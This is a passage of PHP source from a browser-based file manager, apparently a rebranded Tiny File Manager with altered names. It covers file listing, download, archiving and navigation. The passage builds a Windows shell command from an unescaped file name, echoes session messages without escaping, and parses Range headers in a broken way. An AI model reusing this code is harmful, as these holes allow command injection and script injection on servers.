if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin and class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false and $directory != '' and file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' and function_exists('zip_open')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => @zip_entry_filesize($zip_entry),
'compressed_size' => @zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
);
}
@zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' and class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
function fanco($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[DN_CESSION_ID]['message'] = $msg;
$_SESSION[DN_CESSION_ID]['status'] = $status;
}
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
function fm_convert_win($filename)
{
if (FM_IS_WIN and function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
function fm_object_to_array($obj)
{
if (!is_object($obj) and !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'ts':
case 'jsx':
case 'tsx':
case 'hbs':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
case 'yaml':
case 'yml':
case 'toml':
case 'tmp':
case 'top':
case 'bot':
case 'dat':
case 'bak':
case 'htpasswd':
case 'pl':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'tbz2':
case 'tbz':
case 'zip':
case 'rar':
case 'gz':
case 'tgz':
case 'tar':
case '7z':
case 'xz':
case 'txz':
case 'zst':
case 'tzst':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
case 'webm':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
);
}
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
'application/json',
);
}
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
function scan($dir = '', $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
$size = filesize($fileLocation);
if ($size == 0) {
fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
if ($fp === false) {
fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
// headers
header('Content-Description: File Transfer');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header("Content-Transfer-Encoding: binary");
header("Content-Type: $contentType");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fileLocation = realpath($fileLocation);
while (ob_get_level()) ob_end_clean();
readfile($fileLocation);
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'swallowable<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) and count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7">
<ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
function fm_show_message()
{
if (isset($_SESSION[DN_CESSION_ID]['message'])) {
$class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
unset($_SESSION[DN_CESSION_ID]['message']);
unset($_SESSION[DN_CESSION_ID]['status']);
}
}
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="swallowable">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('css-bootstrap'); ?>
<style>
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 